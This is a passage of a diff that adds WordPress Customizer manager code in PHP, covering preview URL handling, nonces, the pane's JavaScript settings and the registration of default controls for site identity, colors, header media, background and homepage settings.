+	 * @return bool Whether the user agent is iOS.
+	 */
+	public function is_ios() {
+		return wp_is_mobile() && preg_match( '/iPad|iPod|iPhone/', $_SERVER['HTTP_USER_AGENT'] );
+	}
+
+	/**
+	 * Get the template string for the Customizer pane document title.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return string The template string for the document title.
+	 */
+	public function get_document_title_template() {
+		if ( $this->is_theme_active() ) {
+			/* translators: %s: document title from the preview */
+			$document_title_tmpl = __( 'Customize: %s' );
+		} else {
+			/* translators: %s: document title from the preview */
+			$document_title_tmpl = __( 'Live Preview: %s' );
+		}
+		$document_title_tmpl = html_entity_decode( $document_title_tmpl, ENT_QUOTES, 'UTF-8' ); // Because exported to JS and assigned to document.title.
+		return $document_title_tmpl;
+	}
+
+	/**
+	 * Set the initial URL to be previewed.
+	 *
+	 * URL is validated.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $preview_url URL to be previewed.
+	 */
+	public function set_preview_url( $preview_url ) {
+		$preview_url = esc_url_raw( $preview_url );
+		$this->preview_url = wp_validate_redirect( $preview_url, home_url( '/' ) );
+	}
+
+	/**
+	 * Get the initial URL to be previewed.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return string URL being previewed.
+	 */
+	public function get_preview_url() {
+		if ( empty( $this->preview_url ) ) {
+			$preview_url = home_url( '/' );
+		} else {
+			$preview_url = $this->preview_url;
+		}
+		return $preview_url;
+	}
+
+	/**
+	 * Determines whether the admin and the frontend are on different domains.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return bool Whether cross-domain.
+	 */
+	public function is_cross_domain() {
+		$admin_origin = wp_parse_url( admin_url() );
+		$home_origin = wp_parse_url( home_url() );
+		$cross_domain = ( strtolower( $admin_origin['host'] ) !== strtolower( $home_origin['host'] ) );
+		return $cross_domain;
+	}
+
+	/**
+	 * Get URLs allowed to be previewed.
+	 *
+	 * If the front end and the admin are served from the same domain, load the
+	 * preview over ssl if the Customizer is being loaded over ssl. This avoids
+	 * insecure content warnings. This is not attempted if the admin and front end
+	 * are on different domains to avoid the case where the front end doesn't have
+	 * ssl certs. Domain mapping plugins can allow other urls in these conditions
+	 * using the customize_allowed_urls filter.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @returns array Allowed URLs.
+	 */
+	public function get_allowed_urls() {
+		$allowed_urls = array( home_url( '/' ) );
+
+		if ( is_ssl() && ! $this->is_cross_domain() ) {
+			$allowed_urls[] = home_url( '/', 'https' );
+		}
+
+		/**
+		 * Filters the list of URLs allowed to be clicked and followed in the Customizer preview.
+		 *
+		 * @since 3.4.0
+		 *
+		 * @param array $allowed_urls An array of allowed URLs.
+		 */
+		$allowed_urls = array_unique( apply_filters( 'customize_allowed_urls', $allowed_urls ) );
+
+		return $allowed_urls;
+	}
+
+	/**
+	 * Get messenger channel.
+	 *
+	 * @since 4.7.0
+	 *
+	 * @return string Messenger channel.
+	 */
+	public function get_messenger_channel() {
+		return $this->messenger_channel;
+	}
+
+	/**
+	 * Set URL to link the user to when closing the Customizer.
+	 *
+	 * URL is validated.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param string $return_url URL for return link.
+	 */
+	public function set_return_url( $return_url ) {
+		$return_url = esc_url_raw( $return_url );
+		$return_url = remove_query_arg( wp_removable_query_args(), $return_url );
+		$return_url = wp_validate_redirect( $return_url );
+		$this->return_url = $return_url;
+	}
+
+	/**
+	 * Get URL to link the user to when closing the Customizer.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return string URL for link to close Customizer.
+	 */
+	public function get_return_url() {
+		$referer = wp_get_referer();
+		$excluded_referer_basenames = array( 'customize.php', 'wp-login.php' );
+
+		if ( $this->return_url ) {
+			$return_url = $this->return_url;
+		} else if ( $referer && ! in_array( basename( parse_url( $referer, PHP_URL_PATH ) ), $excluded_referer_basenames, true ) ) {
+			$return_url = $referer;
+		} else if ( $this->preview_url ) {
+			$return_url = $this->preview_url;
+		} else {
+			$return_url = home_url( '/' );
+		}
+		return $return_url;
+	}
+
+	/**
+	 * Set the autofocused constructs.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @param array $autofocus {
+	 *     Mapping of 'panel', 'section', 'control' to the ID which should be autofocused.
+	 *
+	 *     @type string [$control]  ID for control to be autofocused.
+	 *     @type string [$section]  ID for section to be autofocused.
+	 *     @type string [$panel]    ID for panel to be autofocused.
+	 * }
+	 */
+	public function set_autofocus( $autofocus ) {
+		$this->autofocus = array_filter( wp_array_slice_assoc( $autofocus, array( 'panel', 'section', 'control' ) ), 'is_string' );
+	}
+
+	/**
+	 * Get the autofocused constructs.
+	 *
+	 * @since 4.4.0
+	 *
+	 * @return array {
+	 *     Mapping of 'panel', 'section', 'control' to the ID which should be autofocused.
+	 *
+	 *     @type string [$control]  ID for control to be autofocused.
+	 *     @type string [$section]  ID for section to be autofocused.
+	 *     @type string [$panel]    ID for panel to be autofocused.
+	 * }
+	 */
+	public function get_autofocus() {
+		return $this->autofocus;
+	}
+
+	/**
+	 * Get nonces for the Customizer.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return array Nonces.
+	 */
+	public function get_nonces() {
+		$nonces = array(
+			'save' => wp_create_nonce( 'save-customize_' . $this->get_stylesheet() ),
+			'preview' => wp_create_nonce( 'preview-customize_' . $this->get_stylesheet() ),
+			'switch_themes' => wp_create_nonce( 'switch_themes' ),
+			'dismiss_autosave_or_lock' => wp_create_nonce( 'customize_dismiss_autosave_or_lock' ),
+			'override_lock' => wp_create_nonce( 'customize_override_changeset_lock' ),
+			'trash' => wp_create_nonce( 'trash_customize_changeset' ),
+		);
+
+		/**
+		 * Filters nonces for Customizer.
+		 *
+		 * @since 4.2.0
+		 *
+		 * @param array                $nonces Array of refreshed nonces for save and
+		 *                                     preview actions.
+		 * @param WP_Customize_Manager $this   WP_Customize_Manager instance.
+		 */
+		$nonces = apply_filters( 'customize_refresh_nonces', $nonces, $this );
+
+		return $nonces;
+	}
+
+	/**
+	 * Print JavaScript settings for parent window.
+	 *
+	 * @since 4.4.0
+	 */
+	public function customize_pane_settings() {
+
+		$login_url = add_query_arg( array(
+			'interim-login' => 1,
+			'customize-login' => 1,
+		), wp_login_url() );
+
+		// Ensure dirty flags are set for modified settings.
+		foreach ( array_keys( $this->unsanitized_post_values() ) as $setting_id ) {
+			$setting = $this->get_setting( $setting_id );
+			if ( $setting ) {
+				$setting->dirty = true;
+			}
+		}
+
+		$autosave_revision_post = null;
+		$autosave_autodraft_post = null;
+		$changeset_post_id = $this->changeset_post_id();
+		if ( ! $this->saved_starter_content_changeset && ! $this->autosaved() ) {
+			if ( $changeset_post_id ) {
+				if ( is_user_logged_in() ) {
+					$autosave_revision_post = wp_get_post_autosave( $changeset_post_id, get_current_user_id() );
+				}
+			} else {
+				$autosave_autodraft_posts = $this->get_changeset_posts( array(
+					'posts_per_page' => 1,
+					'post_status' => 'auto-draft',
+					'exclude_restore_dismissed' => true,
+				) );
+				if ( ! empty( $autosave_autodraft_posts ) ) {
+					$autosave_autodraft_post = array_shift( $autosave_autodraft_posts );
+				}
+			}
+		}
+
+		$current_user_can_publish = current_user_can( get_post_type_object( 'customize_changeset' )->cap->publish_posts );
+
+		// @todo Include all of the status labels here from script-loader.php, and then allow it to be filtered.
+		$status_choices = array();
+		if ( $current_user_can_publish ) {
+			$status_choices[] = array(
+				'status' => 'publish',
+				'label' => __( 'Publish' ),
+			);
+		}
+		$status_choices[] = array(
+			'status' => 'draft',
+			'label' => __( 'Save Draft' ),
+		);
+		if ( $current_user_can_publish ) {
+			$status_choices[] = array(
+				'status' => 'future',
+				'label' => _x( 'Schedule', 'customizer changeset action/button label' ),
+			);
+		}
+
+		// Prepare Customizer settings to pass to JavaScript.
+		$changeset_post = null;
+		if ( $changeset_post_id ) {
+			$changeset_post = get_post( $changeset_post_id );
+		}
+
+		// Determine initial date to be at present or future, not past.
+		$current_time = current_time( 'mysql', false );
+		$initial_date = $current_time;
+		if ( $changeset_post ) {
+			$initial_date = get_the_time( 'Y-m-d H:i:s', $changeset_post->ID );
+			if ( $initial_date < $current_time ) {
+				$initial_date = $current_time;
+			}
+		}
+
+		$lock_user_id = false;
+		if ( $this->changeset_post_id() ) {
+			$lock_user_id = wp_check_post_lock( $this->changeset_post_id() );
+		}
+
+		$settings = array(
+			'changeset' => array(
+				'uuid' => $this->changeset_uuid(),
+				'branching' => $this->branching(),
+				'autosaved' => $this->autosaved(),
+				'hasAutosaveRevision' => ! empty( $autosave_revision_post ),
+				'latestAutoDraftUuid' => $autosave_autodraft_post ? $autosave_autodraft_post->post_name : null,
+				'status' => $changeset_post ? $changeset_post->post_status : '',
+				'currentUserCanPublish' => $current_user_can_publish,
+				'publishDate' => $initial_date,
+				'statusChoices' => $status_choices,
+				'lockUser' => $lock_user_id ? $this->get_lock_user_data( $lock_user_id ) : null,
+			),
+			'initialServerDate' => $current_time,
+			'dateFormat' => get_option( 'date_format' ),
+			'timeFormat' => get_option( 'time_format' ),
+			'initialServerTimestamp' => floor( microtime( true ) * 1000 ),
+			'initialClientTimestamp' => -1, // To be set with JS below.
+			'timeouts' => array(
+				'windowRefresh' => 250,
+				'changesetAutoSave' => AUTOSAVE_INTERVAL * 1000,
+				'keepAliveCheck' => 2500,
+				'reflowPaneContents' => 100,
+				'previewFrameSensitivity' => 2000,
+			),
+			'theme'    => array(
+				'stylesheet'  => $this->get_stylesheet(),
+				'active'      => $this->is_theme_active(),
+				'_canInstall' => current_user_can( 'install_themes' ),
+			),
+			'url'      => array(
+				'preview'       => esc_url_raw( $this->get_preview_url() ),
+				'return'        => esc_url_raw( $this->get_return_url() ),
+				'parent'        => esc_url_raw( admin_url() ),
+				'activated'     => esc_url_raw( home_url( '/' ) ),
+				'ajax'          => esc_url_raw( admin_url( 'admin-ajax.php', 'relative' ) ),
+				'allowed'       => array_map( 'esc_url_raw', $this->get_allowed_urls() ),
+				'isCrossDomain' => $this->is_cross_domain(),
+				'home'          => esc_url_raw( home_url( '/' ) ),
+				'login'         => esc_url_raw( $login_url ),
+			),
+			'browser'  => array(
+				'mobile' => wp_is_mobile(),
+				'ios'    => $this->is_ios(),
+			),
+			'panels'   => array(),
+			'sections' => array(),
+			'nonce'    => $this->get_nonces(),
+			'autofocus' => $this->get_autofocus(),
+			'documentTitleTmpl' => $this->get_document_title_template(),
+			'previewableDevices' => $this->get_previewable_devices(),
+			'l10n' => array(
+				'confirmDeleteTheme' => __( 'Are you sure you want to delete this theme?' ),
+				/* translators: %d: number of theme search results, which cannot currently consider singular vs. plural forms */
+				'themeSearchResults' => __( '%d themes found' ),
+				/* translators: %d: number of themes being displayed, which cannot currently consider singular vs. plural forms */
+				'announceThemeCount' => __( 'Displaying %d themes' ),
+				/* translators: %s: theme name */
+				'announceThemeDetails' => __( 'Showing details for theme: %s' ),
+			),
+		);
+
+		// Temporarily disable installation in Customizer. See #42184.
+		$filesystem_method = get_filesystem_method();
+		ob_start();
+		$filesystem_credentials_are_stored = request_filesystem_credentials( self_admin_url() );
+		ob_end_clean();
+		if ( 'direct' !== $filesystem_method && ! $filesystem_credentials_are_stored ) {
+			$settings['theme']['_filesystemCredentialsNeeded'] = true;
+		}
+
+		// Prepare Customize Section objects to pass to JavaScript.
+		foreach ( $this->sections() as $id => $section ) {
+			if ( $section->check_capabilities() ) {
+				$settings['sections'][ $id ] = $section->json();
+			}
+		}
+
+		// Prepare Customize Panel objects to pass to JavaScript.
+		foreach ( $this->panels() as $panel_id => $panel ) {
+			if ( $panel->check_capabilities() ) {
+				$settings['panels'][ $panel_id ] = $panel->json();
+				foreach ( $panel->sections as $section_id => $section ) {
+					if ( $section->check_capabilities() ) {
+						$settings['sections'][ $section_id ] = $section->json();
+					}
+				}
+			}
+		}
+
+		?>
+		<script type="text/javascript">
+			var _wpCustomizeSettings = <?php echo wp_json_encode( $settings ); ?>;
+			_wpCustomizeSettings.initialClientTimestamp = _.now();
+			_wpCustomizeSettings.controls = {};
+			_wpCustomizeSettings.settings = {};
+			<?php
+
+			// Serialize settings one by one to improve memory usage.
+			echo "(function ( s ){\n";
+			foreach ( $this->settings() as $setting ) {
+				if ( $setting->check_capabilities() ) {
+					printf(
+						"s[%s] = %s;\n",
+						wp_json_encode( $setting->id ),
+						wp_json_encode( $setting->json() )
+					);
+				}
+			}
+			echo "})( _wpCustomizeSettings.settings );\n";
+
+			// Serialize controls one by one to improve memory usage.
+			echo "(function ( c ){\n";
+			foreach ( $this->controls() as $control ) {
+				if ( $control->check_capabilities() ) {
+					printf(
+						"c[%s] = %s;\n",
+						wp_json_encode( $control->id ),
+						wp_json_encode( $control->json() )
+					);
+				}
+			}
+			echo "})( _wpCustomizeSettings.controls );\n";
+		?>
+		</script>
+		<?php
+	}
+
+	/**
+	 * Returns a list of devices to allow previewing.
+	 *
+	 * @since 4.5.0
+	 *
+	 * @return array List of devices with labels and default setting.
+	 */
+	public function get_previewable_devices() {
+		$devices = array(
+			'desktop' => array(
+				'label' => __( 'Enter desktop preview mode' ),
+				'default' => true,
+			),
+			'tablet' => array(
+				'label' => __( 'Enter tablet preview mode' ),
+			),
+			'mobile' => array(
+				'label' => __( 'Enter mobile preview mode' ),
+			),
+		);
+
+		/**
+		 * Filters the available devices to allow previewing in the Customizer.
+		 *
+		 * @since 4.5.0
+		 *
+		 * @see WP_Customize_Manager::get_previewable_devices()
+		 *
+		 * @param array $devices List of devices with labels and default setting.
+		 */
+		$devices = apply_filters( 'customize_previewable_devices', $devices );
+
+		return $devices;
+	}
+
+	/**
+	 * Register some default controls.
+	 *
+	 * @since 3.4.0
+	 */
+	public function register_controls() {
+
+		/* Themes (controls are loaded via ajax) */
+
+		$this->add_panel( new WP_Customize_Themes_Panel( $this, 'themes', array(
+			'title'       => $this->theme()->display( 'Name' ),
+			'description' => (
+				'<p>' . __( 'Looking for a theme? You can search or browse the WordPress.org theme directory, install and preview themes, then activate them right here.' ) . '</p>' .
+				'<p>' . __( 'While previewing a new theme, you can continue to tailor things like widgets and menus, and explore theme-specific options.' ) . '</p>'
+			),
+			'capability'  => 'switch_themes',
+			'priority'    => 0,
+		) ) );
+
+		$this->add_section( new WP_Customize_Themes_Section( $this, 'installed_themes', array(
+			'title'       => __( 'Installed themes' ),
+			'action'      => 'installed',
+			'capability'  => 'switch_themes',
+			'panel'       => 'themes',
+			'priority'    => 0,
+		) ) );
+
+		if ( ! is_multisite() ) {
+			$this->add_section( new WP_Customize_Themes_Section( $this, 'wporg_themes', array(
+				'title'       => __( 'WordPress.org themes' ),
+				'action'      => 'wporg',
+				'filter_type' => 'remote',
+				'capability'  => 'install_themes',
+				'panel'       => 'themes',
+				'priority'    => 5,
+			) ) );
+		}
+
+		// Themes Setting (unused - the theme is considerably more fundamental to the Customizer experience).
+		$this->add_setting( new WP_Customize_Filter_Setting( $this, 'active_theme', array(
+			'capability' => 'switch_themes',
+		) ) );
+
+		/* Site Identity */
+
+		$this->add_section( 'title_tagline', array(
+			'title'    => __( 'Site Identity' ),
+			'priority' => 20,
+		) );
+
+		$this->add_setting( 'blogname', array(
+			'default'    => get_option( 'blogname' ),
+			'type'       => 'option',
+			'capability' => 'manage_options',
+		) );
+
+		$this->add_control( 'blogname', array(
+			'label'      => __( 'Site Title' ),
+			'section'    => 'title_tagline',
+		) );
+
+		$this->add_setting( 'blogdescription', array(
+			'default'    => get_option( 'blogdescription' ),
+			'type'       => 'option',
+			'capability' => 'manage_options',
+		) );
+
+		$this->add_control( 'blogdescription', array(
+			'label'      => __( 'Tagline' ),
+			'section'    => 'title_tagline',
+		) );
+
+		// Add a setting to hide header text if the theme doesn't support custom headers.
+		if ( ! current_theme_supports( 'custom-header', 'header-text' ) ) {
+			$this->add_setting( 'header_text', array(
+				'theme_supports'    => array( 'custom-logo', 'header-text' ),
+				'default'           => 1,
+				'sanitize_callback' => 'absint',
+			) );
+
+			$this->add_control( 'header_text', array(
+				'label'    => __( 'Display Site Title and Tagline' ),
+				'section'  => 'title_tagline',
+				'settings' => 'header_text',
+				'type'     => 'checkbox',
+			) );
+		}
+
+		$this->add_setting( 'site_icon', array(
+			'type'       => 'option',
+			'capability' => 'manage_options',
+			'transport'  => 'postMessage', // Previewed with JS in the Customizer controls window.
+		) );
+
+		$this->add_control( new WP_Customize_Site_Icon_Control( $this, 'site_icon', array(
+			'label'       => __( 'Site Icon' ),
+			'description' => sprintf(
+				'<p>' . __( 'Site Icons are what you see in browser tabs, bookmark bars, and within the WordPress mobile apps. Upload one here!' ) . '</p>' .
+				/* translators: %s: site icon size in pixels */
+				'<p>' . __( 'Site Icons should be square and at least %s pixels.' ) . '</p>',
+				'<strong>512 &times; 512</strong>'
+			),
+			'section'     => 'title_tagline',
+			'priority'    => 60,
+			'height'      => 512,
+			'width'       => 512,
+		) ) );
+
+		$this->add_setting( 'custom_logo', array(
+			'theme_supports' => array( 'custom-logo' ),
+			'transport'      => 'postMessage',
+		) );
+
+		$custom_logo_args = get_theme_support( 'custom-logo' );
+		$this->add_control( new WP_Customize_Cropped_Image_Control( $this, 'custom_logo', array(
+			'label'         => __( 'Logo' ),
+			'section'       => 'title_tagline',
+			'priority'      => 8,
+			'height'        => $custom_logo_args[0]['height'],
+			'width'         => $custom_logo_args[0]['width'],
+			'flex_height'   => $custom_logo_args[0]['flex-height'],
+			'flex_width'    => $custom_logo_args[0]['flex-width'],
+			'button_labels' => array(
+				'select'       => __( 'Select logo' ),
+				'change'       => __( 'Change logo' ),
+				'remove'       => __( 'Remove' ),
+				'default'      => __( 'Default' ),
+				'placeholder'  => __( 'No logo selected' ),
+				'frame_title'  => __( 'Select logo' ),
+				'frame_button' => __( 'Choose logo' ),
+			),
+		) ) );
+
+		$this->selective_refresh->add_partial( 'custom_logo', array(
+			'settings'            => array( 'custom_logo' ),
+			'selector'            => '.custom-logo-link',
+			'render_callback'     => array( $this, '_render_custom_logo_partial' ),
+			'container_inclusive' => true,
+		) );
+
+		/* Colors */
+
+		$this->add_section( 'colors', array(
+			'title'          => __( 'Colors' ),
+			'priority'       => 40,
+		) );
+
+		$this->add_setting( 'header_textcolor', array(
+			'theme_supports' => array( 'custom-header', 'header-text' ),
+			'default'        => get_theme_support( 'custom-header', 'default-text-color' ),
+
+			'sanitize_callback'    => array( $this, '_sanitize_header_textcolor' ),
+			'sanitize_js_callback' => 'maybe_hash_hex_color',
+		) );
+
+		// Input type: checkbox
+		// With custom value
+		$this->add_control( 'display_header_text', array(
+			'settings' => 'header_textcolor',
+			'label'    => __( 'Display Site Title and Tagline' ),
+			'section'  => 'title_tagline',
+			'type'     => 'checkbox',
+			'priority' => 40,
+		) );
+
+		$this->add_control( new WP_Customize_Color_Control( $this, 'header_textcolor', array(
+			'label'   => __( 'Header Text Color' ),
+			'section' => 'colors',
+		) ) );
+
+		// Input type: Color
+		// With sanitize_callback
+		$this->add_setting( 'background_color', array(
+			'default'        => get_theme_support( 'custom-background', 'default-color' ),
+			'theme_supports' => 'custom-background',
+
+			'sanitize_callback'    => 'sanitize_hex_color_no_hash',
+			'sanitize_js_callback' => 'maybe_hash_hex_color',
+		) );
+
+		$this->add_control( new WP_Customize_Color_Control( $this, 'background_color', array(
+			'label'   => __( 'Background Color' ),
+			'section' => 'colors',
+		) ) );
+
+		/* Custom Header */
+
+		if ( current_theme_supports( 'custom-header', 'video' ) ) {
+			$title = __( 'Header Media' );
+			$description = '<p>' . __( 'If you add a video, the image will be used as a fallback while the video loads.' ) . '</p>';
+
+			$width = absint( get_theme_support( 'custom-header', 'width' ) );
+			$height = absint( get_theme_support( 'custom-header', 'height' ) );
+			if ( $width && $height ) {
+				$control_description = sprintf(
+					/* translators: 1: .mp4, 2: header size in pixels */
+					__( 'Upload your video in %1$s format and minimize its file size for best results. Your theme recommends dimensions of %2$s pixels.' ),
+					'<code>.mp4</code>',
+					sprintf( '<strong>%s &times; %s</strong>', $width, $height )
+				);
+			} elseif ( $width ) {
+				$control_description = sprintf(
+					/* translators: 1: .mp4, 2: header width in pixels */
+					__( 'Upload your video in %1$s format and minimize its file size for best results. Your theme recommends a width of %2$s pixels.' ),
+					'<code>.mp4</code>',
+					sprintf( '<strong>%s</strong>', $width )
+				);
+			} else {
+				$control_description = sprintf(
+					/* translators: 1: .mp4, 2: header height in pixels */
+					__( 'Upload your video in %1$s format and minimize its file size for best results. Your theme recommends a height of %2$s pixels.' ),
+					'<code>.mp4</code>',
+					sprintf( '<strong>%s</strong>', $height )
+				);
+			}
+		} else {
+			$title = __( 'Header Image' );
+			$description = '';
+			$control_description = '';
+		}
+
+		$this->add_section( 'header_image', array(
+			'title'          => $title,
+			'description'    => $description,
+			'theme_supports' => 'custom-header',
+			'priority'       => 60,
+		) );
+
+		$this->add_setting( 'header_video', array(
+			'theme_supports'    => array( 'custom-header', 'video' ),
+			'transport'         => 'postMessage',
+			'sanitize_callback' => 'absint',
+			'validate_callback' => array( $this, '_validate_header_video' ),
+		) );
+
+		$this->add_setting( 'external_header_video', array(
+			'theme_supports'    => array( 'custom-header', 'video' ),
+			'transport'         => 'postMessage',
+			'sanitize_callback' => array( $this, '_sanitize_external_header_video' ),
+			'validate_callback' => array( $this, '_validate_external_header_video' ),
+		) );
+
+		$this->add_setting( new WP_Customize_Filter_Setting( $this, 'header_image', array(
+			'default'        => sprintf( get_theme_support( 'custom-header', 'default-image' ), get_template_directory_uri(), get_stylesheet_directory_uri() ),
+			'theme_supports' => 'custom-header',
+		) ) );
+
+		$this->add_setting( new WP_Customize_Header_Image_Setting( $this, 'header_image_data', array(
+			'theme_supports' => 'custom-header',
+		) ) );
+
+		/*
+		 * Switch image settings to postMessage when video support is enabled since
+		 * it entails that the_custom_header_markup() will be used, and thus selective
+		 * refresh can be utilized.
+		 */
+		if ( current_theme_supports( 'custom-header', 'video' ) ) {
+			$this->get_setting( 'header_image' )->transport = 'postMessage';
+			$this->get_setting( 'header_image_data' )->transport = 'postMessage';
+		}
+
+		$this->add_control( new WP_Customize_Media_Control( $this, 'header_video', array(
+			'theme_supports' => array( 'custom-header', 'video' ),
+			'label'          => __( 'Header Video' ),
+			'description'    => $control_description,
+			'section'        => 'header_image',
+			'mime_type'      => 'video',
+			'active_callback' => 'is_header_video_active',
+		) ) );
+
+		$this->add_control( 'external_header_video', array(
+			'theme_supports' => array( 'custom-header', 'video' ),
+			'type'           => 'url',
+			'description'    => __( 'Or, enter a YouTube URL:' ),
+			'section'        => 'header_image',
+			'active_callback' => 'is_header_video_active',
+		) );
+
+		$this->add_control( new WP_Customize_Header_Image_Control( $this ) );
+
+		$this->selective_refresh->add_partial( 'custom_header', array(
+			'selector'            => '#wp-custom-header',
+			'render_callback'     => 'the_custom_header_markup',
+			'settings'            => array( 'header_video', 'external_header_video', 'header_image' ), // The image is used as a video fallback here.
+			'container_inclusive' => true,
+		) );
+
+		/* Custom Background */
+
+		$this->add_section( 'background_image', array(
+			'title'          => __( 'Background Image' ),
+			'theme_supports' => 'custom-background',
+			'priority'       => 80,
+		) );
+
+		$this->add_setting( 'background_image', array(
+			'default'        => get_theme_support( 'custom-background', 'default-image' ),
+			'theme_supports' => 'custom-background',
+			'sanitize_callback' => array( $this, '_sanitize_background_setting' ),
+		) );
+
+		$this->add_setting( new WP_Customize_Background_Image_Setting( $this, 'background_image_thumb', array(
+			'theme_supports' => 'custom-background',
+			'sanitize_callback' => array( $this, '_sanitize_background_setting' ),
+		) ) );
+
+		$this->add_control( new WP_Customize_Background_Image_Control( $this ) );
+
+		$this->add_setting( 'background_preset', array(
+			'default'        => get_theme_support( 'custom-background', 'default-preset' ),
+			'theme_supports' => 'custom-background',
+			'sanitize_callback' => array( $this, '_sanitize_background_setting' ),
+		) );
+
+		$this->add_control( 'background_preset', array(
+			'label'      => _x( 'Preset', 'Background Preset' ),
+			'section'    => 'background_image',
+			'type'       => 'select',
+			'choices'    => array(
+				'default' => _x( 'Default', 'Default Preset' ),
+				'fill'    => __( 'Fill Screen' ),
+				'fit'     => __( 'Fit to Screen' ),
+				'repeat'  => _x( 'Repeat', 'Repeat Image' ),
+				'custom'  => _x( 'Custom', 'Custom Preset' ),
+			),
+		) );
+
+		$this->add_setting( 'background_position_x', array(
+			'default'        => get_theme_support( 'custom-background', 'default-position-x' ),
+			'theme_supports' => 'custom-background',
+			'sanitize_callback' => array( $this, '_sanitize_background_setting' ),
+		) );
+
+		$this->add_setting( 'background_position_y', array(
+			'default'        => get_theme_support( 'custom-background', 'default-position-y' ),
+			'theme_supports' => 'custom-background',
+			'sanitize_callback' => array( $this, '_sanitize_background_setting' ),
+		) );
+
+		$this->add_control( new WP_Customize_Background_Position_Control( $this, 'background_position', array(
+			'label'    => __( 'Image Position' ),
+			'section'  => 'background_image',
+			'settings' => array(
+				'x' => 'background_position_x',
+				'y' => 'background_position_y',
+			),
+		) ) );
+
+		$this->add_setting( 'background_size', array(
+			'default'        => get_theme_support( 'custom-background', 'default-size' ),
+			'theme_supports' => 'custom-background',
+			'sanitize_callback' => array( $this, '_sanitize_background_setting' ),
+		) );
+
+		$this->add_control( 'background_size', array(
+			'label'      => __( 'Image Size' ),
+			'section'    => 'background_image',
+			'type'       => 'select',
+			'choices'    => array(
+				'auto'    => __( 'Original' ),
+				'contain' => __( 'Fit to Screen' ),
+				'cover'   => __( 'Fill Screen' ),
+			),
+		) );
+
+		$this->add_setting( 'background_repeat', array(
+			'default'           => get_theme_support( 'custom-background', 'default-repeat' ),
+			'sanitize_callback' => array( $this, '_sanitize_background_setting' ),
+			'theme_supports'    => 'custom-background',
+		) );
+
+		$this->add_control( 'background_repeat', array(
+			'label'    => __( 'Repeat Background Image' ),
+			'section'  => 'background_image',
+			'type'     => 'checkbox',
+		) );
+
+		$this->add_setting( 'background_attachment', array(
+			'default'           => get_theme_support( 'custom-background', 'default-attachment' ),
+			'sanitize_callback' => array( $this, '_sanitize_background_setting' ),
+			'theme_supports'    => 'custom-background',
+		) );
+
+		$this->add_control( 'background_attachment', array(
+			'label'    => __( 'Scroll with Page' ),
+			'section'  => 'background_image',
+			'type'     => 'checkbox',
+		) );
+
+
+		// If the theme is using the default background callback, we can update
+		// the background CSS using postMessage.
+		if ( get_theme_support( 'custom-background', 'wp-head-callback' ) === '_custom_background_cb' ) {
+			foreach ( array( 'color', 'image', 'preset', 'position_x', 'position_y', 'size', 'repeat', 'attachment' ) as $prop ) {
+				$this->get_setting( 'background_' . $prop )->transport = 'postMessage';
+			}
+		}
+
+		/*
+		 * Static Front Page
+		 * See also https://core.trac.wordpress.org/ticket/19627 which introduces the static-front-page theme_support.
+		 * The following replicates behavior from options-reading.php.
+		 */
+
+		$this->add_section( 'static_front_page', array(
+			'title' => __( 'Homepage Settings' ),
+			'priority' => 120,
+			'description' => __( 'You can choose what&#8217;s displayed on the homepage of your site. It can be posts in reverse chronological order (classic blog), or a fixed/static page. To set a static homepage, you first need to create two Pages. One will become the homepage, and the other will be where your posts are displayed.' ),
+			'active_callback' => array( $this, 'has_published_pages' ),
+		) );
+
+		$this->add_setting( 'show_on_front', array(
+			'default' => get_option( 'show_on_front' ),
+			'capability' => 'manage_options',
+			'type' => 'option',
+		) );
+
+		$this->add_control( 'show_on_front', array(
+			'label' => __( 'Your homepage displays' ),
+			'section' => 'static_front_page',
+			'type' => 'radio',
+			'choices' => array(
+				'posts' => __( 'Your latest posts' ),
+				'page'  => __( 'A static page' ),
+			),
+		) );
+
+		$this->add_setting( 'page_on_front', array(
+			'type'       => 'option',
+			'capability' => 'manage_options',
+		) );
+
+		$this->add_control( 'page_on_front', array(
+			'label' => __( 'Homepage' ),
+			'section' => 'static_front_page',
+			'type' => 'dropdown-pages',
+			'allow_addition' => true,
+		) );
+
+		$this->add_setting( 'page_for_posts', array(
+			'type' => 'option',
+			'capability' => 'manage_options',
+		) );
+
+		$this->add_control( 'page_for_posts', array(
+			'label' => __( 'Posts page' ),
+			'section' => 'static_front_page',
+			'type' => 'dropdown-pages',
+			'allow_addition' => true,
+		) );
+
+		/* Custom CSS */
+		$section_description = '<p>';
+		$section_description .= __( 'Add your own CSS code here to customize the appearance and layout of your site.' );
+		$section_description .= sprintf(
+			' <a href="%1$s" class="external-link" target="_blank">%2$s<span class="screen-reader-text"> %3$s</span></a>',
+			esc_url( __( 'https://codex.wordpress.org/CSS' ) ),
+			__( 'Learn more about CSS' ),
+			/* translators: accessibility text */
+			__( '(opens in a new window)' )
+		);
+		$section_description .= '</p>';
+
+		$section_description .= '<p id="editor-keyboard-trap-help-1">' . __( 'When using a keyboard to navigate:' ) . '</p>';
+		$section_description .= '<ul>';
+		$section_description .= '<li id="editor-keyboard-trap-help-2">' . __( 'In the editing area, the Tab key enters a tab character.' ) . '</li>';
+		$section_description .= '<li id="editor-keyboard-trap-help-3">' . __( 'To move away from this area, press the Esc key followed by the Tab key.' ) . '</li>';
+		$section_description .= '<li id="editor-keyboard-trap-help-4">' . __( 'Screen reader users: when in forms mode, you may need to press the escape key twice.' ) . '</li>';
+		$section_description .= '</ul>';
+
+		if ( 'false' !== wp_get_current_user()->syntax_highlighting ) {
+			$section_description .= '<p>';
+			$section_description .= sprintf(
+				/* translators: 1: link to user profile, 2: additional link attributes, 3: accessibility text */
+				__( 'The edit field automatically highlights code syntax. You can disable this in your <a href="%1$s" %2$s>user profile%3$s</a> to work in plain text mode.' ),
+				esc_url( get_edit_profile_url() ),
+				'class="external-link" target="_blank"',
+				sprintf( '<span class="screen-reader-text"> %s</span>',
+					/* translators: accessibility text */
+					__( '(opens in a new window)' )
+				)
+			);
+			$section_description .= '</p>';
+		}
+
+		$section_description .= '<p class="section-description-buttons">';
+		$section_description .= '<button type="button" class="button-link section-description-close">' . __( 'Close' ) . '</button>';
+		$section_description .= '</p>';
+
+		$this->add_section( 'custom_css', array(
